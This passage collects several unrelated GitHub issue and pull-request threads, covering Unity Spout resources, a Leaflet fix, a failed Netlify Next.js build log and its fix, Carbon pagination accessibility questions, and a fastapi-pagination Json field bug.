  at Klak.Spout.Blitter.Blit (Klak.Spout.SpoutResources resrc, UnityEngine.Texture src, UnityEngine.RenderTexture dst, System.Boolean alpha) [0x00000] in <7fe4b2887b084643bde251e32ad9b866>:0
  at Klak.Spout.SpoutSender.Update () [0x00081] in <7fe4b2887b084643bde251e32ad9b866>:0

Klack Spout will not have access to SpoutResources if you add the spoutsender component from a script at runtime.
If I add spoutsender to a camera via scripting, it works fine in edit mode but fails in the build.  The issue is that SpoutResources is connected via an editor script and saved in the editor folder which isn't accessible at runtime.  It is stripped at compile-time.
I have this issue addressed in my project by the script function "SpoutSender.SetResource(...).
However, I suggest a different way of connecting the "blit shader", possibly loading from a "Resource" folder instead of the editor folder at startup, so the step I have to take is done automatically.
Thank you and I love your plugins.

First of all, it's documented on README.md.

However, I suggest a different way of connecting the "blit shader", possibly loading from a "Resource" folder instead of the editor folder at startup, so the step I have to take is done automatically.

Use of the Resources folder is not recommended in general. At least, I should use Addressables instead of it. But I think most users are not familiar with Addressables, so I chose to use a "dumb way" to manage the resources.

I'm closing this issue now. Please feel free to reopen it for further problems.

Thank you!  That helps

In my case, I had this error creating senders in texture mode via code, but it was fixed (in editor and also in build) adding a spoutsender to a GameObject and sending the Game View or a simple texture.
I'm using videos that are in the streaming assets folder.

NullReferenceException: Object reference not set to an instance of an object Klak.Spout.Blitter.GetMaterial (Klak.Spout.SpoutResources resrc) (at Library/PackageCache/jp.keijiro.klak.spout@2.0.3/Runtime/Internal/Utility.cs:45) Klak.Spout.Blitter.Blit (Klak.Spout.SpoutResources resrc, UnityEngine.Texture src, UnityEngine.RenderTexture dst, System.Boolean alpha) (at Library/PackageCache/jp.keijiro.klak.spout@2.0.3/Runtime/Internal/Utility.cs:25) Klak.Spout.SpoutSender.Update () (at Library/PackageCache/jp.keijiro.klak.spout@2.0.3/Runtime/SpoutSender.cs:112)
Having error in runtime and in game mode when I adding Spot Sender via scripting
It works only in game mode when I add SpoutSender by my hands
Here is the script, I guess problem is on SpoutResorces

@AlexksGud You should set a valid instance of SpoutResources, not an empty one.

@keijiro  I know
" but you must give the
SpoutResources asset (which holds references to the package assets) after
instantiation." -i didnt understand this in README
Anyway , I renamed Resources folder in Assets folder , and all works .
But there must be a better way to solve it

SpoutResources is just a subclass of ScriptableObject. I'd recommend checking ScriptableObject tutorials for details.


test: Using wait api with integration

Adding a test to make sure newly added api works as expected on 'real' deployment.
Signed-off-by: Flavio Fernandes<EMAIL_ADDRESS>

Pull Request Test Coverage Report for Build<PHONE_NUMBER>

0 of 0   changed or added relevant lines in 0 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage increased (+0.2%) to 73.831%

Totals

Change from base Build<PHONE_NUMBER>:
0.2%

Covered Lines:
4500

Relevant Lines:
6095

💛  - Coveralls

/lgtm


feat: Add SyncController [2/2]

The sync controller implements the replicate() method, manages sync state, and peer sync controller instances.
This PR is missing tests, but given the complexity of setting up unit tests to invite peers and add data, I think the time is better spent actually implementing and integrating that on the API, so that we can go straight to an e2e test.

Yes good point it should be yes

did you mean to merge instead of close?

did you mean to merge instead of close?

No, deleting the base branch automatically closed this (I merged the peer sync controller PR first, which maybe I shouldn't have done - I still haven't figured out the best flow for stacked PRs)


to profile multi-node large load test

Goal: to profile the code under load of Tom's load test
Provided instrumented classes to Tom to run at his earliest convenient time to run.
then, me to collect profile dumps, merge and report for performance triage...

Need to implement on demand data collection from running dockers, instead of current 'kill -2'

Implemented auto-saving to local file system. I'll re-approach to Tom for next attempt

Provided instrumented 0.53.4 to Tom

Processed results from Tom's engnet2 15 mins experiment. Reviewing...

Reported
reports/2h/reports_2h_NFT/com.swirlds.merkledb.files.hashmap.HalfDiskHashMap.html#448
it turned into bugfix:
PR: https://github.com/hashgraph/hedera-services/pull/15439

Done: https://perf.analytics.eng.hashgraph.io/engnet2-20240906_175600/reports/perf_report.html
All SCALABILITY bugs reported after triage


prompt.py -v/--verbose argument: show sc-events

What current issue(s) does this address, or what feature is it adding?
Added -v/--verbose argument to prompt.py: show sc-events
How did you solve this problem?
Add flag in prompt.py
How did you make sure your solution works?
Manual tests
Are there any special changes in the code that we should be aware of?
No
Please check the following, if applicable:

[ ] Did you add any tests?
[X] Did you run make lint?
[X] Did you run make test?
[X] Are you making a PR to a feature branch or development rather than master?
[X] Did you add an entry to CHANGELOG.rst? (if not, please do)

Coverage remained the same at 78.151% when pulling 74f9fa0bd0ef179a62d756dd0ba094df9254af2a on verbose into a33bafcc63380dfe17842aa1c7235b77e97ca486 on development.

I'd add that you can make it always start with verbose events by changing the setting in your protocol.x.json as well

@localhuman how would you do that?

Actually now that I look, I was wrong about that.  Though adding it to the *.json and settings.py would not be hard


revert HTTP return code change for user API, add tests

Scope & Purpose
Change HTTP return code back to 401 (from 403), as it is the case in 3.6 and before when calling /_api/user/<name> with invalid credentials.

[x] Bug-Fix for devel-branch (i.e. no need for backports?)
[x] The behavior in this PR can be (and was) manually tested (support / qa / customers can test it)
[x] The behavior change can be verified via automatic tests

Testing & Verification
This PR adds tests that were used to verify all changes:

[x] Added new integration tests (i.e. in shell_server / shell_server_aql)

http://<IP_ADDRESS>:8080/view/PR/job/arangodb-matrix-pr/9145/

http://<IP_ADDRESS>:8080/view/PR/job/arangodb-matrix-pr/9151/

Tests blue

http://<IP_ADDRESS>:8080/view/PR/job/arangodb-matrix-pr/9154/

http://<IP_ADDRESS>:8080/view/PR/job/arangodb-matrix-pr/9156/

http://<IP_ADDRESS>:8080/view/PR/job/arangodb-matrix-pr/9159/


GPU memory

How much GPU memory is used during training and how long does training take?

We train it using 1 NVIDIA RTX6000 GPU for 10 epochs. It took 3 days for UPMC data (image-text). It took around 4.5 days for UPMC (image-text) + VinDr (image-labels) data


Fix DomUtil getPosition when provided EL is undefined

Hello,
I faced an issue with map.flyTo(position, zoom), after a quick investigation I found that getPosition try to call an attribute en undefined HtmlElement.
An extract from my code
  onMapReady(map: Map): void {
    this.map = map;
   map.flyTo([countryLocation.lat, countryLocation.lng], 7);
  }

Logs
TypeError: Cannot read property '_leaflet_pos' of undefined
    at getPosition (leaflet-src.js:2450)
    at NewClass._getMapPanePos (leaflet-src.js:4439)
    at NewClass._moved (leaflet-src.js:4443)
    at NewClass.getCenter (leaflet-src.js:3798)
    at NewClass.flyTo (leaflet-src.js:3330)
    at SafeSubscriber._next (map-shipment.component.ts:85)
    at SafeSubscriber.__tryOrUnsub (Subscriber.js:183)
    at SafeSubscriber.next (Subscriber.js:122)
    at Subscriber._next (Subscriber.js:72)
    at Subscriber.next (Subscriber.js:49)

Hi.
It's not clear what issue are you trying to fix.
I'm pretty sure that L.DomUtil.getPosition(undefined) should throw, that is expected behavior, and no need to fix it.
So you better find exact conditions when this issue occurs, perhaps there is a bug in some other place.

Hello,
In the existing code, we have
export function getPosition(el) {
    return el._leaflet_pos || new Point(0, 0);
}

el could be null non ?
in any case that's what I got as an error

el could be null non ?

el cannot be null.


Issue/21/computing infrastructure

This isn't quite ready yet, but I wanted to open the PR so that the building on El Capitan could be tested by someone with that platform (it works on linux).
I'd also like to add the command/configuration file work (#11) to this PR.  I'll update the epic (#21) accordingly.

What actually needs gcc here?

scons does a bunch of configuration stuff, including checking that gcc 4.8 is available.  This is part of the cost of doing the bin.src build.

I'd also like to add the command/configuration file work (#11) to this PR. I'll update the epic (#21) accordingly.

Is there a reason not to do this in separate PRs?

This isn't quite ready yet, but I wanted to open the PR so that the building on El Capitan could be tested by someone with that platform (it works on linux).

OK, I will check (on Sierra).

Dealing with #11 allows me to fix the unit test failure "correctly" by putting that readout time in the putative configuration file, so that this PR actually passes the CI builds (or at least the Jenkins build).   If you feel like it should be in a separate PR, that's fine.  We'd just have to merge it before this one.

This isn't quite ready yet, but I wanted to open the PR so that the building on El Capitan could be tested by someone with that platform (it works on linux).

I checked this on Sierra.  I typed 'scans' it passed the checks, did the build and wrote a imsim.py file into bin/ with the proper shebang line.

Dealing with #11 allows me to fix the unit test failure "correctly" by putting that readout time in the putative configuration file, so that this PR actually passes the CI builds (or at least the Jenkins build). If you feel like it should be in a separate PR, that's fine. We'd just have to merge it before this one.

Ah, I see.  OK, I don't have a strong feeling.  It's a bit nicer for tracking to have them separate but do what ever is easiest for you.

I can't comment in an informed fashion on the travis.yml file but all of the other changes here look fine.

The usage line in the README is no longer correct.  -f is no longer a optional argument.

Changes Unknown when pulling bcd5257e40baf03e4d72b04c97be639d34feee9a on issue/21/computing_infrastructure into ** on master**.

this is ready for review.

Changes Unknown when pulling 81c5ecb3ca425b00b84cdf3997b192785e911999 on issue/21/computing_infrastructure into ** on master**.

This code all looks fine to me.  I do have two questions on the config file part.

Currently there is no way to set the file, it just always reads the default in data.  This is fine, I just wanted to mention it on the off chance other code hasn't been checked in yet or something.

Right now the read_config() command is called inside of photometricParameters which is called from imsim.py.

Are there likely to be config options (for the sensor, telescope, sky etc) that won't be photometric parameters?  Or will every relevant thing we want to do or pass to GalSim really always be put in a *Catalog.photParams class?

One other thing to think about for the config file...
We will have different sorts of inputs: PhoSim instance, CatSim driver?, CCD Sensor driver etc.
I imagine all of these may have somewhat different commands. I imagined that the command type itself would be in the file.  In this case the parsing likely needs to happen at a higher level.  On the other hand, this could be driven by a command line option and then each option could call read_option itself.

Changes Unknown when pulling 8e146d68dcaba34d0aa14d5b047910617885060b on issue/21/computing_infrastructure into ** on master**.

I've added the option to override the default config at the command line for imsim.py and the code now reads the config just once in the main executable.   Once we have more concrete use cases, we can add the desired functionality.  If everything looks ok, I'd like to merge this PR since I have other work which would benefit from having this in master.

Changes Unknown when pulling 6737df61e4f765229090b560e09feb40c520a8aa on issue/21/computing_infrastructure into ** on master**.


Add nroot function

Hey there, I needed an "nth-root" function for something I'm working on so I added it.
Couldn't sort out how to do 3root27 to be 3. I think that would mean adding another type to the lexer and it was kind of blowing my mind.
Anyway, feel free to merge or not, up to you :)

@sreyemnayr Thanks for making pull request as I thought it became dust. You can get same result using 27 ^ (1/3) though. Let me know if I am wrong


need the docker file

Software execution information
AlaaS version:
System OS version:
Problem description
Steps to reproduce the problem
Expected behavior
Other information
Things you tried, stack traces, related issues, suggestions on how to fix it...

closed via latest commit https://github.com/MLSysOps/Active-Learning-as-a-Service/commit/8d6cb255e669fed6a524fa253e1dec890281b765


next.js 11.1.0 support

After upgrading to version 11.1.0, when packaging the Netlify function for the Next.js page, a dependency installation error occurs (cannot find module '@babel/core').
Log:
6:56:24 PM: Build ready to start
6:56:28 PM: build-image version: c6001ed68662a13e5deb24abec2b46058c58248a
6:56:28 PM: build-image tag: v3.9.0
6:56:28 PM: buildbot version: ad437348d6c1b571799b44a035363a0f56a02090
6:56:28 PM: Fetching cached dependencies
6:56:29 PM: Starting to download cache of 183.8MB
6:56:32 PM: Finished downloading cache in 3.531456592s
6:56:32 PM: Starting to extract cache
6:56:39 PM: Finished extracting cache in 7.190007552s
6:56:39 PM: Finished fetching cache in 10.784976942s
6:56:39 PM: Starting to prepare the repo for build
6:56:40 PM: Preparing Git Reference refs/heads/main
6:56:41 PM: Parsing package.json dependencies
6:56:42 PM: Starting build script
6:56:42 PM: Installing dependencies
6:56:42 PM: Python version set to 2.7
6:56:43 PM: Started restoring cached node version
6:56:45 PM: Finished restoring cached node version
6:56:46 PM: v12.18.0 is already installed.
6:56:47 PM: Now using node v12.18.0 (npm v6.14.4)
6:56:47 PM: Started restoring cached build plugins
6:56:47 PM: Finished restoring cached build plugins
6:56:47 PM: Attempting ruby version 2.7.2, read from environment
6:56:49 PM: Using ruby version 2.7.2
6:56:49 PM: Using PHP version 5.6
6:56:49 PM: Started restoring cached node modules
6:56:49 PM: Finished restoring cached node modules
6:56:49 PM: Installing NPM modules using NPM version 6.14.4
6:56:57 PM: ><EMAIL_ADDRESS>postinstall /opt/build/repo/node_modules/core-js-pure
6:56:57 PM: > node -e "try{require('./postinstall')}catch(e){}"
6:56:58 PM: npm WARN optional SKIPPING OPTIONAL DEPENDENCY<EMAIL_ADDRESS>(node_modules/fsevents):
6:56:58 PM: npm WARN notsup SKIPPING OPTIONAL DEPENDENCY: Unsupported platform for<EMAIL_ADDRESS>wanted {"os":"darwin","arch":"any"} (current: {"os":"linux","arch":"x64"})
6:56:58 PM: added 12 packages from 7 contributors, removed 27 packages, updated 46 packages and audited 689 packages in 7.587s
6:56:58 PM: 85 packages are looking for funding
6:56:58 PM:   run `npm fund` for details
6:56:58 PM: found 0 vulnerabilities
6:56:58 PM: NPM modules installed
6:56:58 PM: Started restoring cached go cache
6:56:58 PM: Finished restoring cached go cache
6:56:58 PM: go version go1.14.4 linux/amd64
6:56:58 PM: go version go1.14.4 linux/amd64
6:56:58 PM: Installing missing commands
6:56:58 PM: Verify run directory
6:56:59 PM:
6:56:59 PM: ────────────────────────────────────────────────────────────────
6:56:59 PM:   Netlify Build
6:56:59 PM: ────────────────────────────────────────────────────────────────
6:56:59 PM:
6:56:59 PM: ❯ Version
6:56:59 PM:   @netlify/build 18.2.1
6:56:59 PM:
6:56:59 PM: ❯ Flags
6:56:59 PM:   baseRelDir: true
6:56:59 PM:   deployId: 611544a8f7ae1a000758db6e
6:56:59 PM:
6:56:59 PM: ❯ Current directory
6:56:59 PM:   /opt/build/repo
6:56:59 PM:
6:56:59 PM: ❯ Config file
6:56:59 PM:   No config file was defined: using default values.
6:56:59 PM:
6:56:59 PM: ❯ Context
6:56:59 PM:   production
6:56:59 PM:
6:56:59 PM: ❯ Loading plugins
6:56:59 PM:    -<EMAIL_ADDRESS>from Netlify app
6:57:00 PM:
6:57:00 PM: ────────────────────────────────────────────────────────────────
6:57:00 PM:   1. onPreBuild command from @netlify/plugin-nextjs
6:57:00 PM: ────────────────────────────────────────────────────────────────
6:57:00 PM:
6:57:00 PM: Using Next.js 11.1.0
6:57:00 PM: Warning: support for Next.js >=11.1.0 is experimental
6:57:00 PM: info  - Using webpack 5. Reason: Enabled by default https://nextjs.org/docs/messages/webpack5
6:57:01 PM: Next.js cache restored.
6:57:01 PM:
6:57:01 PM: (@netlify/plugin-nextjs onPreBuild completed in 1.3s)
6:57:01 PM:
6:57:01 PM: ────────────────────────────────────────────────────────────────
6:57:01 PM:   2. Build command from Netlify app
6:57:01 PM: ────────────────────────────────────────────────────────────────
6:57:01 PM:
6:57:01 PM: $ npm run build
6:57:01 PM: ><EMAIL_ADDRESS>build /opt/build/repo
6:57:01 PM: > next build
6:57:02 PM: info  - Using webpack 5. Reason: Enabled by default https://nextjs.org/docs/messages/webpack5
6:57:03 PM: info  - Checking validity of types...
6:57:17 PM: info  - Creating an optimized production build...
6:57:18 PM: info  - Using external babel configuration from /opt/build/repo/.babelrc
6:57:18 PM: info  - Using external babel configuration from /opt/build/repo/.babelrc
6:57:22 PM: info  - Using external babel configuration from /opt/build/repo/.babelrc
6:57:22 PM: info  - Using external babel configuration from /opt/build/repo/.babelrc
6:57:50 PM: info  - Using external babel configuration from /opt/build/repo/.babelrc
6:57:50 PM: info  - Using external babel configuration from /opt/build/repo/.babelrc
6:57:50 PM: info  - Using external babel configuration from /opt/build/repo/.babelrc
6:57:50 PM: info  - Using external babel configuration from /opt/build/repo/.babelrc
6:57:53 PM: info  - Compiled successfully
6:57:53 PM: info  - Collecting page data...
6:57:55 PM: info  - Generating static pages (0/4)
6:57:56 PM: info  - Generating static pages (1/4)
6:57:56 PM: info  - Generating static pages (2/4)
6:57:56 PM: info  - Generating static pages (3/4)
6:57:57 PM: info  - Generating static pages (4/4)
6:57:57 PM: info  - Finalizing page optimization...
6:57:58 PM: Page                               Size     First Load JS
6:57:58 PM: ┌ ● / (ISR: 10 Seconds) (2022 ms)  24.3 kB         194 kB
6:57:58 PM: ├   /_app                          0 B             170 kB
6:57:58 PM: ├ ○ /404                           194 B           170 kB
6:57:58 PM: └ ○ /sign-in (721 ms)              761 B           170 kB
6:57:58 PM: + First Load JS shared by all      170 kB
6:57:58 PM:   ├ chunks/framework.2191d1.js     42.4 kB
6:57:58 PM:   ├ chunks/main.222191.js          23.4 kB
6:57:58 PM:   ├ chunks/pages/_app.666dd8.js    102 kB
6:57:58 PM:   └ chunks/webpack.04e1bc.js       1.83 kB
6:57:58 PM: λ  (Lambda)  server-side renders at runtime (uses getInitialProps or getServerSideProps)
6:57:58 PM: ○  (Static)  automatically rendered as static HTML (uses no initial props)
6:57:58 PM: ●  (SSG)     automatically generated as static HTML + JSON (uses getStaticProps)
6:57:58 PM:    (ISR)     incremental static regeneration (uses revalidate in getStaticProps)
6:57:58 PM:
6:57:58 PM: (build.command completed in 56.8s)
6:57:58 PM:
6:57:58 PM: ────────────────────────────────────────────────────────────────
6:57:58 PM:   3. onBuild command from @netlify/plugin-nextjs
6:57:58 PM: ────────────────────────────────────────────────────────────────
6:57:58 PM:
6:57:58 PM: Detected Next.js site. Copying files...
6:57:58 PM: ** Running Next on Netlify package **
6:57:58 PM: 🚀 Next on Netlify 🚀
6:57:58 PM: 🌍 Copying public folder to /opt/build/repo/out
6:57:58 PM: 💼 Copying static NextJS assets to /opt/build/repo/out
6:57:58 PM: 💫 Setting up API endpoints as Netlify Functions in /opt/build/repo/netlify/functions
6:57:58 PM: 💫 Setting up pages with getInitialProps as Netlify Functions in /opt/build/repo/netlify/functions
6:57:58 PM: 💫 Setting up pages with getServerSideProps as Netlify Functions in /opt/build/repo/netlify/functions
6:57:58 PM: 🔥 Copying pre-rendered pages with getStaticProps and JSON data to /opt/build/repo/out
6:57:58 PM: 💫 Setting up pages with getStaticProps and fallback: true as Netlify Functions in /opt/build/repo/netlify/functions
6:57:58 PM: 💫 Setting up pages with getStaticProps and revalidation interval as Netlify Functions in /opt/build/repo/netlify/functions
6:57:58 PM: Warning: It looks like you're using the 'revalidate' flag in one of your Next.js pages.  Please read our docs about ISR on Netlify: https://ntl.fyi/next-isr-info🔥 Copying pre-rendered pages without props to /opt/build/repo/out
6:57:58 PM: Building 3 pages
6:57:58 PM: 🔀 Setting up redirects
6:57:58 PM: Warning: It looks like you're using the 'revalidate' flag in one of your Next.js pages.  Please read our docs about ISR on Netlify: https://ntl.fyi/next-isr-info🔀 Setting up headers
6:57:58 PM: ✅ Success! All done!
6:57:58 PM:
6:57:58 PM: (@netlify/plugin-nextjs onBuild completed in 139ms)
6:57:58 PM:
6:57:58 PM: ────────────────────────────────────────────────────────────────
6:57:58 PM:   4. Functions bundling
6:57:58 PM: ────────────────────────────────────────────────────────────────
6:57:58 PM:
6:57:59 PM: Packaging Functions from netlify/functions directory:
6:57:59 PM:  - next_image/next_image.js
6:57:59 PM:  - next_index/next_index.js
6:57:59 PM:
6:58:04 PM:
6:58:04 PM: ────────────────────────────────────────────────────────────────
6:58:04 PM:   Dependencies installation error
6:58:04 PM: ────────────────────────────────────────────────────────────────
6:58:04 PM:
6:58:04 PM:   Error message
6:58:04 PM:   A Netlify Function failed to require one of its dependencies.
6:58:04 PM:   Please make sure it is present in the site's top-level "package.json".
6:58:04 PM:   In file "/opt/build/repo/netlify/functions/next_index/next_index.js"
6:58:04 PM:   Cannot find module '@babel/core'
6:58:04 PM:   Require stack:
6:58:04 PM:   - /opt/buildhome/.netlify-build-nvm/versions/node/v12.16.3/lib/node_modules/<EMAIL_ADDRESS>6:58:04 PM:   - /opt/buildhome/.netlify-build-nvm/versions/node/v12.16.3/lib/node_modules/<EMAIL_ADDRESS>6:58:04 PM:   - /opt/buildhome/.netlify-build-nvm/versions/node/v12.16.3/lib/node_modules/<EMAIL_ADDRESS>6:58:04 PM:   -<EMAIL_ADDRESS>6:58:04 PM:   -<EMAIL_ADDRESS>6:58:04 PM:   -<EMAIL_ADDRESS>6:58:04 PM:   -<EMAIL_ADDRESS>6:58:04 PM:   -<EMAIL_ADDRESS>6:58:04 PM:
6:58:04 PM:   Resolved config
6:58:04 PM:   build:
6:58:04 PM:     command: npm run build
6:58:04 PM:     commandOrigin: ui
6:58:04 PM:     environment:
6:58:04 PM:       - FIREBASE_CLIENT_EMAIL
6:58:04 PM:       - FIREBASE_PRIVATE_KEY
6:58:04 PM:       - NEXT_PUBLIC_FIREBASE_API_KEY
6:58:04 PM:       - NEXT_PUBLIC_FIREBASE_APP_ID
6:58:04 PM:       - NEXT_PUBLIC_FIREBASE_AUTH_DOMAIN
6:58:04 PM:       - NEXT_PUBLIC_FIREBASE_MEASUREMENT_ID
6:58:04 PM:       - NEXT_PUBLIC_FIREBASE_MESSAGING_SENDER_ID
6:58:04 PM:       - NEXT_PUBLIC_FIREBASE_PROJECT_ID
6:58:04 PM:       - NEXT_PUBLIC_FIREBASE_STORAGE_BUCKET
6:58:04 PM:     publish: /opt/build/repo/out
6:58:04 PM:     publishOrigin: ui
6:58:04 PM:   functionsDirectory: /opt/build/repo/netlify/functions
6:58:04 PM:   headers:
6:58:10 PM:     - for: /_next/static/chunks/*      values:        cache-control: public,max-age=31536000,immutable  plugins:    - inputs: {}      origin: ui      package: '@netlify/plugin-nextjs'  redirects:    - from: /      status: 200      to: /.netlify/functions/next_index    - from: /_next/data/ckFPComZhlMX-24etGiMH/index.json      status: 200      to: /.netlify/functions/next_index    - force: true      from: /_next/image*      query:        q: ':quality'        url: ':url'        w: ':width'      status: 301      to: /nextimg/:url/:width/:quality    - from: /nextimg/*      status: 200      to: /.netlify/functions/next_imageCaching artifacts
6:58:10 PM: Started saving node modules
6:58:10 PM: Finished saving node modules
6:58:10 PM: Started saving build plugins
6:58:10 PM: Finished saving build plugins
6:58:10 PM: Started saving pip cache
6:58:10 PM: Finished saving pip cache
6:58:10 PM: Started saving emacs cask dependencies
6:58:10 PM: Finished saving emacs cask dependencies
6:58:10 PM: Started saving maven dependencies
6:58:10 PM: Finished saving maven dependencies
6:58:10 PM: Started saving boot dependencies
6:58:10 PM: Finished saving boot dependencies
6:58:10 PM: Started saving rust rustup cache
6:58:10 PM: Finished saving rust rustup cache
6:58:10 PM: Started saving go dependencies
6:58:10 PM: Finished saving go dependencies
6:58:10 PM: Build failed due to a user error: Build script returned non-zero exit code: 2
6:58:10 PM: Creating deploy upload records
6:58:11 PM: Failing build: Failed to build site
6:58:11 PM: Failed during stage 'building site': Build script returned non-zero exit code: 2
6:58:11 PM: Finished processing build request in 1m42.379998886s

Steps to reproduce the behavior:

Deploy Next.js 11.1.0 app with page that requires Netlify Function.
See error.

Next.js: 11.1.0
plugin (if installed at fixed version): 3.8.0
next.config.js target: experimental-serverless-trace

Same problem here

Downgrading next to 11.0.1 fixed the issue for me, use yarn add<EMAIL_ADDRESS>or npm install<EMAIL_ADDRESS>accoring to your package manager

Same issue here - https://github.com/Kentico/kontent-starter-corporate-next-js/pull/51

I've run into this in the past when a library needed by the bundler wasn't included. The temporary back was to install the missing package into your package.json until a solution is found.

hey all, thanks for the info! just came back from PTO and will try to look into this asap. stay tuned!

hello again! i believe adding esbuild as your node_bundler in your netlfy.toml (see docs here https://docs.netlify.com/configure-builds/file-based-configuration/#functions) should solve this issue. please let us know!

Thanks for the answer! This solved the problem, I tested the site and did not notice any errors. The only thing in the log was a few warnings:
4:40:55 PM: ────────────────────────────────────────────────────────────────
4:40:55 PM:   4. Functions bundling
4:40:55 PM: ────────────────────────────────────────────────────────────────
4:40:55 PM:
4:40:55 PM: Packaging Functions from netlify/functions directory:
4:40:55 PM:  - next_image/next_image.js
4:40:55 PM:  - next_index/next_index.js
4:40:55 PM:
4:40:56 PM:  > .netlify/plugins/node_modules/sharp/lib/output.js:4:22: error: No loader is configured for ".node" files: .netlify/plugins/node_modules/sharp/build/Release/sharp.node
4:40:56 PM:     4 │ const sharp = require('../build/Release/sharp.node');
4:40:56 PM:       ╵                       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
4:41:05 PM:
4:41:05 PM: ❯ Failed to bundle functions with selected bundler (fallback used):
4:41:05 PM:    - next_image.zip
4:41:05 PM:
4:41:05 PM: ❯ The following Node.js modules use dynamic expressions to include files:
4:41:05 PM:    - next
4:41:05 PM:    - @ampproject/toolbox-optimizer
4:41:05 PM:
4:41:05 PM:   Because files included with dynamic expressions aren't bundled with your serverless functions by default,
  this may result in an error when invoking a function. To resolve this error, you can mark these Node.js
4:41:05 PM:   modules as external in the [functions] section of your `netlify.toml` configuration file:
4:41:05 PM:
4:41:05 PM:   [functions]
4:41:05 PM:     external_node_modules = ["next", "@ampproject/toolbox-optimizer"]
4:41:05 PM:
4:41:05 PM:   Visit https://ntl.fyi/dynamic-imports for more information.
4:41:05 PM:
4:41:05 PM:
4:41:05 PM: (Functions bundling completed in 9.8s)

@grind-t yeaaah, thanks for calling that out. please add external_node_modules = ["next", "@ampproject/toolbox-optimizer", "sharp"] to your [functions] config as well. 🙏 i'll open a new issue to address this required configuration (either a docs change or an auto-config on our end).

Hmm, all warnings are gone, but the site crashes with the following error:
{"errorType":"Runtime.UnhandledPromiseRejection","errorMessage":"Error: Invalid hook call. Hooks can only be called inside of the body of a function component. This could happen for one of the following reasons:\n1. You might have mismatching versions of React and the renderer (such as React DOM)\n2. You might be breaking the Rules of Hooks\n3. You might have more than one copy of React in the same app\nSee https://reactjs.org/link/invalid-hook-call for tips about how to debug and fix this problem.","trace":["Runtime.UnhandledPromiseRejection: Error: Invalid hook call. Hooks can only be called inside of the body of a function component. This could happen for one of the following reasons:","1. You might have mismatching versions of React and the renderer (such as React DOM)","2. You might be breaking the Rules of Hooks","3. You might have more than one copy of React in the same app","See https://reactjs.org/link/invalid-hook-call for tips about how to debug and fix this problem.","    at process.<anonymous> (/var/runtime/index.js:35:15)","    at process.emit (events.js:314:20)","    at processPromiseRejections (internal/process/promises.js:209:33)","    at processTicksAndRejections (internal/process/task_queues.js:98:32)"]}

I will try all combinations of external modules, maybe I can find the one that is causing the crash.

"next" cause crashes

@grind-t oh nooo. this is the same issue as https://github.com/netlify/netlify-plugin-nextjs/issues/607. are you able to switch to target: serverless?

@lindsaylevine Unfortunately no, I need to use the firebase compat library for the firebase ui. It doesn't work with target: serverless for some reason :sweat_smile:

@grind-t oof okay well that seems to be a growing pattern! can you track on #607?


♿ AVT 2/3 ♿ Pagination usability use cases

Pagination has made many improvements but there are still some open questions about usability.
Detailed description

Describe in detail the issue you're having.

Questions around the Carbon pagination come down to mainly checkpoints 3.2.1/3.2.2, we typically avoid changing content on blur since I’ve heard that is generally considered a bad practice aligning to these 2 checkpoints.  However with current set up the only way to change the items per page and to directly jump to a page via the text input would be to perform those actions on an on change (items per page) and blur (if value changed for the navigating to a specific page). Because the demo on the site isn’t a working demo have those items been considered?
I’d also be curious about your usage guides for:
• when a user changes the items per page but is not on the first page.  Where do they end up?
• how is the user informed that the new page is loaded if focus management isn’t handled? Are they notified that it’s loading, if so how?
I’ve also been told that pagination should actually use links instead of buttons as we are navigating the user to a new page/content and typically pagination would be something that would have unique URLs in web applications.

Is this issue related to a specific component?

Pagination

What did you expect to happen? What happened instead? What would you like to see changed?

We have clear usability guidelines about interacting with components as various user types and the Carbon pagination component follows these guidelines

What version of the Carbon Design System are you using?

Carbon X alpha

What offering/product do you work on? Any pressing ship or release dates we should be aware of?

We have a user that is looking to have pagination in their next release and we’d like to have it come directly from Carbon if possible as we are trying to converge a lot of the work between Carbon and Watson Health specifically around the vanilla/handlebars setup.
Additional information
Working with @dakahn to figure out answers/solutions to these questions.

keeping this open since I think these are great questions worth asking. moving this to our spec repo tho 🤖

@dakahn I'd move this out of the spec repo. I don't expect the spec repo to be long lived; from here on out we'll be working out of primary repo(s).


NPE on Delete Cascade

Description
I'm getting an NPE when trying to delete an entity with an empty @OneToOne(cascade=DELETE, optional=true) relation in BP's DefaultUpdateContext:
https://github.com/Blazebit/blaze-persistence/blob/aca8349abd3605a56a87c6d126c146795d791848/entity-view/impl/src/main/java/com/blazebit/persistence/view/impl/update/DefaultUpdateContext.java#L906
In my case, entityId is null when the delete operation is triggered via evm.remove(em, idViewClass, id). The idViewClass being used is the basic @IdViewClass having an enitity id getter.
Environment
Version:            1.6.0
JPA-Provider:       5.4
DBMS:               MariaDB
Application Server: Tomcat (Spring Boot)

Will provide a reproduces as soon as possible.


NLP-ENGINE-333 Attempt at replacing all paths with std::filesystem paths

Signed-off-by: David de Hilster<EMAIL_ADDRESS>

This is just for safe keeping or maybe could be continued. Not sure. Sort of a rabbit hole. Need to probably do this piece meal.


An argument finalElement was added to limit the scope of the function.

Is some complex cases we need to limit the scope of the function.

Thanks @hemnstill!

I pushed out 1.1.0 with your feature added, but without updating the readme. Can you share a common use case where you need this feature so we can put it in the docs? 😄

Thanks for pushed pr. I have already updated to new version.
Common use:
I have a container (person card, for example) with child grid editor.
Container have a scrollbar and grid editor have a scrollbar.
Grid editor have inline property editor.
Property editor contains lookup editor.
When i opening lookup editor i don't want to scroll container.
I want to scroll grid-editor if needed.


Json field issues

Paginating output that has a field of type "Json" throws a validation error of:
JSON object must be str, bytes or bytearray (type=type_error.json)

As a test, I changed the field type to "str"  and it will output the field values, but escaped (i.e., "{"field": "value"}").  This endpoint was properly working with the Json field type prior to implementing pagination.
Running:
Python 3.8.9
fastapi                   0.75.2
fastapi-pagination        0.9.3
pydantic                  1.9.0
SQLAlchemy                1.4.36

Hi @ljbuza,
Could you please show a minimal example to reproduce this issue?

from fastapi import FastAPI, Depends
from fastapi_pagination import Page, add_pagination, paginate
from typing import List
from pydantic import BaseModel, Json
from sqlalchemy.orm import Session, sessionmaker
from sqlalchemy import (
    create_engine,
    VARCHAR,
    Column,
    Integer,
    String,
)
from sqlalchemy.ext.declarative import declarative_base

SQLALCHEMY_DATABASE_URL = "sqlite:///./test_app.db"

engine = create_engine(
    SQLALCHEMY_DATABASE_URL, connect_args={"check_same_thread": False}
)
SessionLocal = sessionmaker(autocommit=False, autoflush=False, bind=engine)

Base = declarative_base()

app = FastAPI()

def get_db():
    db = SessionLocal()
    try:
        yield db
    finally:
        db.close()

# models
